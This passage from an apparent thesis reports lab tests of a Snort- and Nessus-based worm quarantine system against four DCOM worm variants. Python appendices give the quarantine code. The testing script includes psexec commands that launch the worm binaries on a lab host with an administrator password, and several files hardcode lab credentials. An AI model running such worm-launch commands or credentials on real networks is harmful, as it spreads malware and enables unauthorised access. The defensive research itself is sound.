
8.5.2. The Test.NTR worm, at 0:01:12, attempted to spread from Host-0 to an 

invulnerable system and the quarantine system blocked Host-0. Between 

0:12:34 and 0:21:56, twenty machines were quarantined by Nessus scans. 

There were no further infections and three machines were not quarantined or 

infected. (Figure 15.14) 

 Figure 8.14 - Full System - Test.NTR 



8.5.3. 2 seconds into the Test.TL test, Host-0 spread to a second computer; both 

were blocked 10 seconds later by snort.  All but one of the remaining 

computers were quarantined between 0:02:18 and 0:21:39.  One computer 

remained unaffected and twenty of the twenty hosts were protected from 

infection. (Figure 15.15) 

 Figure 8.15 - Full System - Test.TL 



8.5.4. In the Test.TR test, initial infection spread from Host-0 to 192.168.1.11 

and to 192.168.1.28. Both Host-0 and 192.168.1.11 were blocked 

immediately and 192.168.1.128 was blocked 2 seconds later. All three hosts 

were blocked by 0:00:10 seconds. The remaining twenty-one machines were 

quarantined between 0:12:29 and 0:12:45. No more machines were infected 

after 0:00:10. (Figure 15.16) 

 Figure 8.16 - Full System - Test.TR 



9. Population Growth Results 
9.1. The Test.NTL worm population grew quickly from one host to twenty-two hosts 

in the first three minutes. The worm took nearly a minute to spread from Host-0 

to the first and second hosts. After 0:01:17, the propagation spread accelerated 

and in the next minute seventeen hosts were infected. The last two hosts were 

infected over the last twenty-seven minutes. (Figure 16.1) 

 

  

Figure 9.1 - Worm Test.NTL 



9.2. The Test.NTR worm population grew slowly for the first nine minutes of the test, 

growing from one to four hosts. After 0:09:20 the population began to grow 

quickly to the next nine hosts, then from there it grew steadily to reach a final 

population of twenty-two hosts. (Figure 16.2) 

 

  

Figure 9.2 - Worm Test.NTR 



9.3. The Test.TL worm population grew very quickly from the start, the first infection 

was three seconds into the test and eighteen of the hosts were infected in the first 

three minutes. The final population of twenty-three was reached after another 

twenty-one minutes. (Figure 16.3) 

 

  

Figure 9.3 - Worm Test.TL 



9.4. The Test.TR worm population grew from one infected host to twenty-two 

infected hosts by 0:01:06. The last host was infected about three minutes later. 

(Figure 16.4) 

 

10. Simulation Analysis 
10.1. No Protection 

10.1.1. The Test.NTL worm spread to 95.83% of the total population within three 

minutes. The worm was able to spread so quickly because of the layout of IP 

addresses on the network. The worm targets hosts by beginning at the first IP 

address on the subnet and incrementing through the subnet sequentially. This 

was uniquely effective against the test network because the DHCP server 

assigns IP addresses sequentially from the beginning of the subnet. These 

two configuration anomalies worked together to allow the worm to spread 

with almost perfect success to all of the vulnerable systems on the network.  

10.1.2. The Test.NTR test spread in a more predictable way across the network. 

Because the worm targeted hosts randomly, it spread evenly, though a bit 

slower than the linear worms. This worm demonstrates the epidemic spread 

that is more prominent in flash Internet worms. As the worm spreads to a 

few hosts, those hosts then go on to spread to even more. This is the effect 

that the quarantine system is expected to be most effective against.  

Figure 9.4 - Worm Test.TR 



10.1.3. The Test.TL worm should be a slightly faster version of the Test.NTL 

worm. Because the worm is threaded, there are many instances of the worm 

scanning the network at any given time. The Test.TL worm had to be altered 

slightly so that each thread scans a different section of the subnet. If this 

weren’t done, all of the threads would scan the same targets at the same time, 

and threading the worm would not be beneficial at all. The threaded worms 

were configured to spawn fifteen threads, which scanned seventeen hosts 

each. Because the DHCP server assigned IP addresses to the beginning of 

the network, the first two threads were the only ones that scanned vulnerable 

hosts. This explains why the Test.TL worm was about as fast as the 

Test.NTL worm, even a little slower.  

10.1.4. The Test.TR worm was much more able to take advantage of 

multithreading because it was more suited to the random targeting. The 

Test.TR worm is the fastest propagation for this reason. As previously stated, 

the random worm displays the more realistic epidemic spread. This is 

intensified by threading the worm because there are more random IPs being 

targeted at a given time.   

10.2. Nessus Only 

10.2.1. With the Nessus sensor protecting the network, the Test.NTL worm was 

very effective. As seen in the baseline tests, the Test.NTL worm variant 

spreads very quickly due to the placement of IP addresses by the DHCP 

server. This allowed the worm to spread to nine hosts before the Nessus scan 

finished at 0:02:14. Once the scan was complete, all of the hosts were 

quarantined and prevented the worm from spreading further. This shows that 

the Nessus sensor is effective, but limited by the scan duration.  

10.2.2. The Test.NTR simulation with only the Nessus sensor was perfectly 

successful. As previously noted in the last section, the Nessus scanner is 

limited by its scan duration. In the baseline scan with the Test.NTR worm, it 

took a while for the worm to find a vulnerable host. The first host was 

infected in about one minute and the second after four minutes. When the 

worm was run with the Nessus scanner protecting the network, the worm 

was unable to randomly choose any vulnerable targets before the Nessus 

scan was complete. This allowed the entire set of vulnerable hosts to be 

quarantined before the worm could spread at all.  

10.2.3. The Test.TL worm simulation shows two downfalls of the Nessus scanner. 

The primary problem in this test is that the Nessus scan failed to detect any 

vulnerable hosts on the first scan. This was a major problem, specifically 

because the Test.TL worm is very fast. In the baseline tests the Test.TL 

worm was only slightly faster than the Test.NTL worm, but the Test.TL 

worm is able to spread to a larger portion of the network in the first two and 

a half minutes. This is significant because the Nessus scans usually take 

about two and a half minutes each. Test.TL was able to spread to twenty 

hosts in that time. This speed was the second downfall of this simulation. 

Even if the Nessus scan had operated properly and not failed, twenty hosts 

on the network would have been infected before it completed. That is 80% 

of the total population. With the scan failure the worm was able to infect 



91.66% of the network. The remaining two hosts were quarantined after the 

second scan completed successfully. It is likely though that the worm 

targeted them and the worm was unable to spread to them for other reasons.  

10.2.4. The Test.TR simulation with only Nessus was completely overcome by 

the speed of the worm. The Nessus scan finished and quarantined only 

192.168.1.17.  The next scan completed with no results. The third scan 

completed at 0:22:33 and quarantined 192.168.1.7. This scan again shows 

the two failings of using only a Nessus sensor to protect the network. The 

Nessus scan fails to perform properly on all three of the scans of this 

simulation. If the scans had performed properly, the worm spread was so fast, 

spreading to 87.5% of the population before the first Nessus scan completed. 

Two of the three remaining hosts were not infected at all, and only four hosts 

were quarantined at all.  

10.3. Snort Only 

10.3.1. The Test.NTL test with the Snort sensor active was a drastic improvement 

over any other tests thus far. The Snort sensor detected the spread event from 

Host-0 to 192.168.1.7 and quarantined Host-0 immediately. The simulation 

logs show that Host-0 actually attempted to exploit 192.168.1.6 at 0:00:46 

but failed to spread. The Snort sensor did not detect this exploit event, as it 

should have. Eleven seconds later, Host-0 spread to 192.168.1.7 and Host-0 

was quarantined immediately. The quarantine system should have blocked 

both hosts at this point. This can be explained based on the way the 

quarantine system determines whether an exploit event culminates in a full 

worm spread. The Snort sensor detects both the exploit event, and the TFTP 

traffic that follows from the exploited machine. The quarantine system must 

receive these two Snort events sequentially though. The system only buffers 

one alert after an exploit alert. In this case it is possible that another 

unrelated Snort alert was generated between the exploit alert and the TFTP 

alert. This could cause the quarantine system to only block the sending host. 

Fifty seconds later 192.168.1.7 spread to 192.168.1.8 and both hosts were 

blocked. The quarantine system worked as expected and was able to block 

only the infected hosts. The Snort sensor only takes action against hosts that 

have “misbehaved”. Consequently, only the three hosts were blocked and the 

rest were left untouched.  

10.3.2. The Test.NTR worm tried to exploit from Host-0 to 192.168.1.72. This 

host was invulnerable to the exploit and was not affected. The exploit code 

traversing the network triggered a Snort alert and caused Host-0 to be 

blocked immediately. At this point Host-0 was the only infected host and 

was unable to communicate or spread to any other hosts on the network. The 

quarantine system performed perfectly in this test; blocking Host-0 before it 

could spread and not blocking any hosts unnecessarily.  

10.3.3. The Test.TL simulation showed the quarantine system’s capability against 

a threaded worm. The worm scanned four hosts before it found 192.168.1.18 

and exploited it. Host-0 successfully exploited the target and the target 

responded with TFTP traffic. The Snort sensor caught both actions and the 

quarantine system immediately blocked them both. All of these events took 



place within the first four seconds of the simulation. The worm was 

prevented from spreading further. For the Snort sensor to work, the worm 

must show itself on the network and must attempt to exploit a target. If that 

first target is vulnerable, the worm will successfully spread and the Snort 

sensor will block both hosts. If the target is not vulnerable, the exploit code 

will trigger a Snort alert and the quarantine system will watch for the TFTP 

traffic. When the TFTP traffic is not seen, the quarantine system will only 

block the sending host.  

10.3.4. The Test.TR simulation resulted exactly the same as the Test.TL 

simulation. Host-0 scanned three targets and exploited 192.168.1.13 after 

three seconds. The quarantine system blocked both Host-0 and 192.168.1.13 

by 0:00:04.  

10.4. Full System 

10.4.1. The Test.NTL simulation combined both the Snort sensor and the Nessus 

scanner. Host-0 attempted to spread to 192.168.1.6 after fifty-two seconds. 

192.168.1.6 was invulnerable and did not respond to the exploit, so the Snort 

sensor only blocked Host-0. The Nessus scanner ran three times over the 

thirty-minute test and each scan failed to detect any vulnerable systems on 

the network. The network in fact had twenty-four hosts that were vulnerable 

and should have been detected by Nessus. Without the Snort sensor in this 

simulation, the worm would have likely spread unchecked. This is strong 

evidence for having both sensors active in the quarantine system.  

10.4.2. The Test.NTR worm in the Full System test did not spread beyond Host-0. 

Host-0 attempted to exploit 192.168.1.84 and was blocked in the process. 

The first Nessus scan returned with no results but the second scan detected 

the vulnerability in eighteen out of twenty-three vulnerable systems. Two 

more vulnerable systems were detected in the third scan and three hosts were 

missed by the Nessus sensor altogether.  

10.4.3. The Test.TL test resulted in two hosts blocked and twenty-one hosts 

quarantined. The threaded versions of the worm in past tests exhibit a higher 

capability of successfully exploiting vulnerable systems as the first target. 

This proved true in this test as well, Host-0 scanned six hosts before it 

successfully targeted 192.168.1.18 and spread to it. The quarantine system 

detected this spread and quarantined Host-0 and 192.168.1.18 at 0:00:04 and 

0:00:12 respectively. The Nessus scanner went on to detect and quarantine 

seventeen hosts after the first scan and three more hosts after the second scan. 

One host was left untouched by the protection system.  

10.4.4. The Test.TR worm spread from Host-0 to 192.168.1.11 at 0:00:02 and 

exploited 192.168.1.28 at 0:00:03. All three hosts were blocked seven 

seconds later. The Nessus scanner failed to detect anything from the first 

scan but successfully quarantined every other host on the network after the 

second scan.  



15. Appendix A – commandcenter.py 
import nessusscan, time, threading, sys, queue, snortmonitor, netcontrol, 
commandcenter 
from time import strftime 
 
running = False 
debug = False 
 
def logprint(log): 

print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 

 
def main(): 

thread = commandcenter.Commander(True, True) 
thread.daemon = True 
thread.start() 
time.sleep(65) 
 

class Commander(threading.Thread): 
def __init__(self, snort, ness): 

self.snort = snort 
self.ness = ness 
threading.Thread.__init__(self) 

 
def run(self): 

 
serv = snortmonitor.Server() 
serv.daemon = True 
if(self.snort): 

logprint("Command: Starting Snort Monitor:") 
serv.start() 

 
nessus = nessusscan.NessusScanner() 
nessus.daemon = True 
if(self.ness): 

logprint("Command: Starting Nessus Scanner") 
nessus.start()  

 
queuemonitor = netcontrol.Monitor(serv.infected, 
nessus.quarantinequeue) 
queuemonitor.daemon = True 
logprint("Command: Starting netcontrol") 
queuemonitor.start() 
 
time.sleep(30*60) #run 30 min test 
netcontrol.listinfected() 
if(self.snort): 

logprint("Command: Stopping Snort") 
serv.stop() 

if(self.ness): 
logprint("Command: Stopping Nessus") 
nessus.stop() 

logprint("Command: Stopping Netcontrol") 
queuemonitor.stop() 
logprint("Command: Waiting for threads to stop") 



 
 

if(__name__ == '__main__'): 
main() 

16. Appendix B – nessusscan.py 
import sys, http.client, urllib, threading, time, queue 
from xml.dom import minidom 
from time import strftime 
 
#Globals 
nessusserver = "192.168.1.140:8834" 
target = "192.168.1.0/24" 
policy = "1" 
debug = False 
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": 
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} 
 
def logprint(log): 

print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 

 
def login(nessuscon): 

#Login and get token 
params = urllib.parse.urlencode({"login": "tjt", "password": 
"tuftus", "seq": "1"}) 
nessuscon.request("POST", "/login", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
token = 
minidom.parseString(data).getElementsByTagName("token")[0].firstChil
d.data 
return token 

 
def scan(nessuscon): 

#Create scan and get scan uuid 
params = urllib.parse.urlencode({"seq": "2", "scan_name": "DCOM", 
"policy_id": policy, "target": target}) 
nessuscon.request("POST", "/scan/new", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
if (debug): 

logprint("Starting scan of %s with policy number %s" % (target, 
policy)) 

 
scanuuid = 
minidom.parseString(data).getElementsByTagName("uuid")[0].firstChild
.data 
return scanuuid 

 
def scanwait(nessuscon): 

#Wait for scan to finish 
if (debug): 

logprint("Waiting for scan to finish") 



while True: 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/scan/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
remaining = 
len(minidom.parseString(data).getElementsByTagName("scan")) 
if(remaining == 0): 

if (debug): 
logprint("Finished") 
break 

 
def stopscans(): 

nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 
 

token = login(nessuscon) 
headers["Cookie"] = "token="+token 
 
#Stop all scans 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/scan/list", params, headers) 

 
response2 = nessuscon.getresponse() 
data = response2.read() 
remaining = 
len(minidom.parseString(data).getElementsByTagName("scan")) 
if(remaining > 0): 

for scan in 
minidom.parseString(data).getElementsByTagName("uuid"): 

scanuuid = scan.firstChild.data 
 

params = urllib.parse.urlencode({"seq": "2", 
"scan_uuid": scanuuid}) 
nessuscon.request("POST", "/scan/stop", params, 
headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 

logout(nessuscon) 
 

def deletereports(): 
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 

 
token = login(nessuscon) 
headers["Cookie"] = "token="+token 

 
#Get last report ID 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/report/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 

 
for report in 
minidom.parseString(data).getElementsByTagName("name"): 

#Delete report from server 
params = urllib.parse.urlencode({"seq": "2", "report": 
report.firstChild.data}) 
nessuscon.request("POST", "/report/delete", params, headers) 



response2 = nessuscon.getresponse() 
data = response2.read() 

nessuscon.close() 
 

def getreport(nessuscon): 
#Get last report ID 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/report/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 

 
lastReport = 
minidom.parseString(data).getElementsByTagName("name")[0].firstChild
.data 
if(debug): logprint("Nessus: Retrieving report") 

 
#Download last report 
params = urllib.parse.urlencode({"seq": "2", "report": lastReport}) 
nessuscon.request("POST", "/file/report/download", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 

 
report = data 

 
#Delete report from server 
params = urllib.parse.urlencode({"seq": "2", "report": lastReport}) 
nessuscon.request("POST", "/report/delete", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 

 
return (report, lastReport) 
 

def logreport(report, lastReport): 
#Save report to file 
logfile = open("C:\\quarantine\\nessuslogs\\"+lastReport+".log", 
"w") 
logfile.write(str(report, "utf-8")) 
logfile.close() 

 
def parsereport(report): 

#Parse report into 3 dicts, severity 1-3, containing IPs and 
pluginIDs 
log = minidom.parseString(report) 

 
reporthosts = log.getElementsByTagName('ReportHost') 
if(debug): logprint("Nessus: Parsing report") 

 
s1 = dict() 
s2 = dict() 
s3 = dict() 

 
for host in reporthosts: 

reportitems = host.getElementsByTagName('ReportItem') 
for item in reportitems: 

if(item.attributes['severity'].value == '3'): ## Find 
severity level 3 plugins 
if host.attributes['name'].value in s3: 



s3[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 

else: 
s3[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 
if(item.attributes['severity'].value == '2'): ## Find 
severity level 2 plugins 
if host.attributes['name'].value in s2: 

s2[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 

else: 
s2[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 
if(item.attributes['severity'].value == '1'): ## Find 
severity level 1 plugins 
if host.attributes['name'].value in s1: 

s1[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 

else: 
s1[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 

 
# logprint parsed report 
if(debug): 

if (len(s1) > 0): 
logprint("\n\n### Severity 1 Items ###") 
for line in s1.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 

 
if (len(s2) > 0): 

logprint("\n\n### Severity 2 Items ###") 
for line in s2.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 
 

if (len(s3) > 0): 
logprint("\n\n### Severity 3 Items ###") 
for line in s3.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 

return (s1, s2, s3) 
 

def logout(nessuscon): 
nessuscon.close() 

 
 
def startscan(): 

try: 
logprint("Nessus: Beginning new scan of %s" % target) 
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 

 
token = login(nessuscon) 
headers["Cookie"] = "token="+token 

 
 

# stopscans(nessuscon) 
# logout(nessuscon) 

 
scan(nessuscon) 
scanwait(nessuscon) 



reportinfo = getreport(nessuscon) 
report = reportinfo[0] 
lastReport = reportinfo[1] 
logreport(report, lastReport) 
nessusresults = parsereport(report) 
if(nessusresults != None): 

logout(nessuscon) 
logprint("Nessus: Scan complete") 
return nessusresults 

else: 
return -1 

except: 
stopscans() 
deletereports() 
logout(nessuscon) 
 
 

class Timer(threading.Thread): 
def __init__(self, mins): 

self.running = False 
self.runTime = mins 
self.runtime = True 
threading.Thread.__init__(self) 

def run(self): 
self.running = True 
for i in range(0,self.runTime): 

if(not self.runtime): 
logprint("Nessus: Timer broken") 
break 
logprint("Nessus: Minutes to next scan: %d" % 
(self.runTime-i)) 
time.sleep(60) 

self.running = False 
def stop(self): 

self.runtime = False 
 
 
 

class NessusScanner(threading.Thread): 
def __init__(self): 

self.running = False 
self.quarantinequeue = queue.Queue() 
threading.Thread.__init__(self) 
self.runscans = True 
 

def stop(self): 
self.runscans = False 
logprint("Nessus: Recieved stop signal") 
stopscans() 
deletereports() 
logprint("Nessus: Scans stopped and reports deleted") 
 

def run(self): 
quarantinequeue = self.quarantinequeue 
logprint("Nessus: Nessus Scanner running...") 
t = Timer(10) 
while self.runscans: 

#Wait for timer to finish before starting a new scan 



if(not t.running): 
t = Timer(10) 
t.daemon = True 
t.start() 
nessusresults = startscan() 
if(nessusresults != -1): 
try: 
for host in nessusresults[2].keys(): 
logprint("Nessus: Queueing %s" % host) 
quarantinequeue.put(host)      
except: 
logprint("Nessus: No results") 
pass 
#If a timer is running wait 10 seconds then try again 
else: 
time.sleep(10) 

logprint("Nessus: Nessus Scanner Stopping") 
t.stop() 
 

 
def main(): 

quar = queue.Queue() 
scan = NessusScanner() 
scan.daemon = True 
scan.start() 
print("Here") 
scan.stop() 
print("here") 
 

 
if __name__ == '__main__': 

main() 

17. Appendix C – netcontrol.py 
import os 
import telnetlib 
import time 
import threading 
import queue 
from subprocess import Popen, PIPE 
from time import strftime 
 
DEBUG = False 
INFECTED = 1 
VULNERABLE = 0 
 
username = "pyle" 
password = "tuftus" 
host = "192.168.1.145" 
 
def logprint(log): 

print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 

 



def login(telnet, username, password): 
if(DEBUG): logprint("LOGGING IN") 
read = telnet.read_until(b"Username: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(username.encode('ascii') + b"\r") 
read = telnet.read_until(b"Password: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(password.encode('ascii') + b"\r") 
read = telnet.read_some() 
if(DEBUG): logprint(read.decode()) 
 

def enable(telnet, password): 
if(DEBUG): logprint("ENABLE SECRET") 
telnet.write(b"enable\r") 
read = telnet.read_until(b"Password: ") 
if(DEBUG): logprint(read.decode()) 
telnet.write(password.encode('ascii') + b"\r") 
read = telnet.read_some() 
if(DEBUG): logprint(read.decode()) 
 

def findmac(telnet, macaddress): 
if(DEBUG): logprint("FINDING MAC") 
if(DEBUG): logprint(macaddress) 
telnet.write(b"show mac-address-table address " + 
macaddress.encode('ascii') + b"\r") 
mactable = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(mactable.decode()) 
if(DEBUG): logprint(macaddress) 
found = mactable.decode().find(macaddress) 
found = mactable.decode().find(macaddress, found+14) 
if(found == -1): 

return -1 
port = mactable[found+30:found+36].decode() 
if(DEBUG): logprint(port) 
return port 
 

def quarantine(ip, source): 
mac = iptomac(ip) 
if(mac == -1): 

if(DEBUG): logprint("Can't resolve IP to MAC") 
return -1 

vlan = "1" 
# Source = 0: Nessus (Vulnerable) 
# Source = 1: Snort (Infected) 

 
if(source == INFECTED): 

vlan = "100" 
 
if(DEBUG): logprint("QUARANTINING %s" % mac) 
#Create telnet connection 
try: 

telnet = telnetlib.Telnet(host) 
except: 

logprint("Couldn't establish telnet to switch") 
return -1 

login(telnet, username, password) 
enable(telnet, password) 
 



#Find port 
port = findmac(telnet, mac) 

 
if(port == -1): 

logprint("Netcontrol: MAC Address not connected") 
telnet.close() 
return -1 

if(DEBUG): logprint(port) 
 
if(source == VULNERABLE): 

vlan = port[4:] 
vlan = int(vlan) + 1 

 
 
#Move port to vlan 
if(DEBUG): logprint("MOVING TO VLAN %s" % vlan) 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface " + port.encode('ascii') + b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"switchport access vlan " + str(vlan).encode('ascii') 
+ b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 
 
#Close connection 
telnet.close() 

 
def unquarantine(mac): 

if(DEBUG): logprint("UNQUARANTINING %s" % mac) 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
 
#Find port 
port = findmac(telnet, mac) 
if(port == -1): 

logprint("MAC Address not connected") 
telnet.close() 
return -1 

if(DEBUG): logprint(port) 
 
#Move port to vlan 1 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface " + port.encode('ascii') + b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 



telnet.write(b"switchport access vlan 1\r") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 
 
#Close connection 
telnet.close() 
 

def restoreAll(): 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
 
logprint("Netcontrol: Restoring all ports to vlan 1") 

 
for i in range(1, 25): 

#Move all ports to vlan 1 
telnet.write(b"configure terminal\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"interface fa0/" + str(i).encode('ascii') + 
b"\n") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"switchport access vlan 1\r") 
read = telnet.read_until(b"wardrobe(config-if)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe(config)#") 
if(DEBUG): logprint(read.decode()) 
telnet.write(b"exit\r") 
read = telnet.read_until(b"wardrobe#") 
if(DEBUG): logprint(read.decode()) 

 
logprint("Netcontrol: Restore complete") 
 
#Close connection 
telnet.close() 
 
 
 

def listinfected(): 
#Create telnet connection 
telnet = telnetlib.Telnet(host) 
login(telnet, username, password) 
enable(telnet, password) 
telnet.write(b"terminal length 0\r") 
read = telnet.read_until(b"wardrobe#")  
telnet.write(b"show vlan brief\r") 
read = telnet.read_until(b"wardrobe#") 
logprint(read.decode()) 
telnet.close() 



return 
 
def iptomac(ip): 

for i in range(0,5): 
Popen("ping -n 1 %s" % ip, shell=True, stdin=PIPE, 
stdout=PIPE) 
p = Popen("arp -a", shell=True, stdin=PIPE, stdout=PIPE) 
 
for line in p.stdout.readlines()[2:]: 

if(DEBUG): logprint(line) 
line = line.decode() 
if(line.find(ip) != -1): 
if(DEBUG): logprint("Found: %s" % line) 
mac = line.split()[1].split('-') 
return "%s%s.%s%s.%s%s" % (mac[0], mac[1], mac[2], 
mac[3], mac[4], mac[5])   

if(DEBUG): logprint("MAC Address not found") 
return -1 

 
 
class Monitor(threading.Thread): 

def __init__(self, infect, vuln): 
self.infect = infect 
self.vuln = vuln 
self.runmon = True 
threading.Thread.__init__(self) 

 
def stop(self): 

self.runmon = False 
 

def run(self): 
infect = self.infect 
vuln = self.vuln 
logprint("Netcontrol running...") 
while self.runmon: 

try: 
infected = infect.get(False) 
logprint("Netcontrol: Unqueued %s" % infected) 
if(quarantine(infected, INFECTED) != -1): 
logprint("Netcontrol: %s blocked" % infected) 
else: 
logprint("Netcontrol: %s failed to block" % infected) 
logprint("Netcontrol: Infected: %s" % infected) 
except queue.Empty: 
pass 
 
 
try: 
vulnerable = vuln.get(False) 
logprint("Netcontrol: Unqueued %s" % vulnerable) 
if(quarantine(vulnerable, VULNERABLE) != -1): 
logprint("Netcontrol: %s quarantined" % vulnerable) 
else: 
logprint("Netcontrol: %s failed to quarantine" % 
vulnerable) 

 
logprint("Netcontrol: Vulnerable: %s" % vulnerable) 
except queue.Empty: 



pass 
logprint("Netcontrol: Netcontrol stopped") 

 
def main(): 

restoreAll() 
#quarantine('192.168.1.8', INFECTED) 
#quarantine('192.168.1.22', INFECTED) 
#listinfected() 
 
''' 
logprint("Quarantining") 
if(quarantine('192.168.1.14', VULNERABLE) == -1): 

return 
 
logprint("Un-Quarantining") 
if(unquarantine('001b.242b.f377') == -1): 

return 
''' 

 
if __name__ == '__main__': 

main() 

 

18. Appendix D – snortmonitor.py 
import sys 
import os 
from socket import * 
import threading 
import queue 
import time 
from time import strftime 
 
FULLDEBUG = False 
DEBUG = False 
 
def logprint(log): 

print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 

 
class Server(threading.Thread): 

def __init__(self): 
port = 514 
host = "192.168.1.141" 
addr = (host,port) 
self.runsnort = True 

 
self.infected = queue.Queue() 
self.syslog = socket(AF_INET, SOCK_DGRAM) 
self.syslog.setblocking(1) 

 
self.syslog.bind(addr) 
threading.Thread.__init__(self) 

 
def stop(self): 



self.runsnort = False 
self.syslog.close() 
 
 

def run(self): 
infected = self.infected 
logprint("Snortmonitor running...") 
while self.runsnort: 

try: 
data, addr = self.syslog.recvfrom(1024) 
except: 
sys.exit() 
if(FULLDEBUG): logprint(data.decode()) 
if(FULLDEBUG): logprint(data2.decode()) 
if(data.decode().find("Priority: 3") != -1): 
try: 
data2, addr2 = self.syslog.recvfrom(1024) 
except: 
sys.exit() 
alert = self.parsealert(data) 
alert2 = self.parsealert(data2) 
if(alert == -1 or alert2 == -1): 
continue 
if(alert == None): 
continue 
if(alert[0] == '9601'): 
logprint("Snort: Queueing %s" % alert[1]) 
infected.put(alert[1]) 
if(alert2[0] == '1444'): 
if(alert2[1] == alert[2]): 
logprint("Snort: Queueing %s" % alert[2]) 
infected.put(alert[2]) 
 

def parsealert(self, alert): 
parsed = alert.decode().split() 
try: 

parsed.remove("<13>root:") 
except: 

pass 
try: 

snortid = parsed[1][1:-1].split(':')[1] 
ipsrc = parsed[-3].split(':')[0] 
ipdst = parsed[-1].split(':')[0] 
if(DEBUG): logprint("Snort Alert %s: Src: %s 
Dest: %s" % (snortid, ipsrc, ipdst)) 
return (snortid, ipsrc, ipdst) 

except: 
return -1 
 

def main(): 
serv = Server() 
serv.daemon = True 
serv.start() 
time.sleep(20) 
serv.stop() 
 

 
if __name__ == '__main__': 



main() 

 

19. Appendix E – testing.py 
import os, sys, time, shutil 
import commandcenter, netcontrol 
 
#Syslog log files 
syslogremote = "X:\\SyslogCatchAll.txt" 
syslogbase = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Syslog Logs" 
 
#Quarantine System log files 
quarantinelog = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Final Code\\commandlog.txt" 
quarantinebase = "C:\\Documents and 
Settings\\Administrator\\Desktop\\Thesis\\Tests\\Quarantine Log" 
 
#start worms 
worms = [] 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\ntl\\dcom.exe", "Worm Non-Threaded Linear")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\ntr\\dcom.exe", "Worm Non-Threaded Random")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\tl\\dcom.exe", "Worm Threaded Linear")) 
worms.append(("start c:\psexec.exe \\\\192.168.1.9 -u administrator -p 
tuftus -i 0 c:\\tr\\dcom.exe", "Worm Threaded Random")) 
 
protection = [] 
protection.append((True, True, "Full System")) 
protection.append((True, False, "Snort Only")) 
protection.append((False, True, "Nessus Only")) 
protection.append((False, False, "No Protection")) 
 
 
 
 
for system in protection: 
 

worm = worms[int(sys.argv[1])-1] 
 

#Restore all ports to vlan 1 
netcontrol.restoreAll()  
#time.sleep(30) 
#Initial VM Reset 
os.system("start resetallvms.bat") #reset vms 
#wait for vms to reset 
